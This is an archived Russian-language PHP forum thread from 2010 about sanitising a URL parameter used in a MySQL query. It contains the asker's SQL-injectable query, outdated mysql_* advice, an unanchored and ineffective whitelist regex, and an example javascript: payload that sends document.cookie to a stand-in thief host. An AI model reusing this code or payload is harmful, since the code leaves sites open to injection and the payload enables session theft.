[ Поиск ] - [ Пользователи ] - [ Календарь ]
Полная Версия: uri в запросе
Unlikely
Здравствуйте.

В общем делаю выборку так:
elseif(isset($_GET['page'])) {
$pageuri = htmlspecialchars($_GET['page']);
$page_result = mysql_query("SELECT `uri`, `title`, `description`, `keywords`, `text`
FROM `pages`
WHERE `uri` = '
$pageuri'
AND `visible` = '1'
LIMIT 0, 1"
, $connection);

if(mysql_num_rows($page_result) > 0) {
$page_row = mysql_fetch_assoc($page_result);

$title = "{$page_row['title']} - $SITE_NAME";
$description = $page_row['description'];
$keywords = $page_row['keywords'];
}

else {
header("Location: $SITE_URL");
}
}


И кроме того как прогнать uri через htmlspecialchars ничего больше не придумал.
Что нужно ещё учесть? Подскажите пожалуйста. Может быть есть что то на подобии (int)



Спустя 13 минут, 48 секунд (17.06.2010 - 01:39) Ice написал(а):
номер страницы? Думаю, валидации на целочисленность и абсолютность значения будет достаточно.
$pageuri = abs( intval( $_GET['page'] ) ) );

intval в случае неудачи вернет ноль, а следовательно, всё, окромя чисел, идёт дремучим лесом.

Спустя 2 минуты, 41 секунда (17.06.2010 - 01:42) Unlikely написал(а):
Ice
Нет, не номер а строка типа "contactme"

Спустя 4 минуты, 6 секунд (17.06.2010 - 01:46) Ice написал(а):
тогда, наверное, лучше вообще теги вырезать, верно? Нафиг они нужны в том параметре?
И напоследок обрабатывать экранирующей функцией mysql_real_escape_string

$pageuri = mysql_real_escape_string( strip_tags( $_GET['page'] ) )


Только надо еще дополнить условие, чтобы оно выглядело следующим образом:

elseif( isset( $_GET['page'] ) &&
!
empty( $_GET['page'] ) )

Спустя 13 минут, 52 секунды (17.06.2010 - 02:00) Unlikely написал(а):
Ice
Да, спасибо. Думаю экранирование пока подойдёт. А теги туда писать наверно врятли кто то вздумает smile.gif
Хотя... Подумать надо

Спустя 2 минуты, 50 секунд (17.06.2010 - 02:03) Ice написал(а):
Как нам на семинаре сказали - любые пробелы в безопасности вашего сайта могут быть направлены против вас И БУДУТ НАПРАВЛЕНЫ.
Проблема может выскочить оттуда, откуда ну уж совсем не ожидал, что она именно оттуда выскочит.
Да и что значит "пока подойдет"? smile.gif Разберись сразу, что может быть в параметре передано, а что нет и от этого уже плясать, а всё остальное - откидывать. Не надо пытаться обработать все ситуации.
PS.: я обновил предыдущий пост

Спустя 4 минуты, 53 секунды (17.06.2010 - 02:08) Unlikely написал(а):
Ice
Да я вот думаю что _ нужно мне будет, вдруг что smile.gif

Спустя 2 минуты, 43 секунды (17.06.2010 - 02:11) Ice написал(а):
ну чё там в странице может быть? smile.gif ну буквы, ну цифры (мало ли логины юзверей такие), ну _- . И всё наверно:) Вобщем, думай:)
При сейчашнем раскладе у тебя будет всё, кроме <> smile.gif

Спустя 21 минута, 19 секунд (17.06.2010 - 02:32) Unlikely написал(а):
Ice
Надо убить всё кроме _ 0-9 a-z A-Z

Подходящей функции найти пока не получается

Спустя 4 минуты, 11 секунд (17.06.2010 - 02:36) Ice написал(а):
ну регулярочкой убей smile.gif

if( preg_match( '/[\w\d]+/i', $_GET['page'] ) ) {
/* ... */
} else {
print 'Error';
}

Спустя 18 минут, 23 секунды (17.06.2010 - 02:54) Unlikely написал(а):
Ice
Вот так сделал:
$uri = strpbrk($_GET['page'], ';:<>\\&$"\'/');
if($uri == false) {
...
}

Но может быть есть более удачный способ...

Спустя 7 часов, 26 минут, 12 секунд (17.06.2010 - 10:21) SlavaFr написал(а):
mysql_real_escape_string достаточен чтоб избежать sql-inection, если ктото другого мнения, то прошу показать реальный работающий пример.
Так же важно чтоб javascript-inection не было (не знаю на скоко это в твоем случае важни)
пример
href="javascript:locaton.haref='session-вор.ру?'+document.cookie"
в этом случае у тебя могут сразу увести сезон, так что контроллируй, чтоб в начале url небыло 'javascript:'.

Спустя 10 часов, 42 минуты, 35 секунд (17.06.2010 - 21:03) Unlikely написал(а):
SlavaFr
Ну так у меня же не ссылка выводится, а заявка отправляется. От куда там javascript: может появится.. smile.gif

И есть же ещё там всякие CRLF или как то так, думаю тоже нужно как то обороняться smile.gif

Спустя 20 минут, 11 секунд (17.06.2010 - 21:23) SlavaFr написал(а):
Цитата (Unlikely @ 17.06.2010 - 18:03)
SlavaFr
Ну так у меня же не ссылка выводится, а заявка отправляется. От куда там javascript: может появится.. smile.gif

рассматривайте моё сообщение как общую рекомендацию, так как
я не в состоянии оценить все подробности вашего проэкта.
Быстрый ответ:

 Графические смайлики |  Показывать подпись
Здесь расположена полная версия этой страницы.
Invision Power Board © 2001-2025 Invision Power Services, Inc.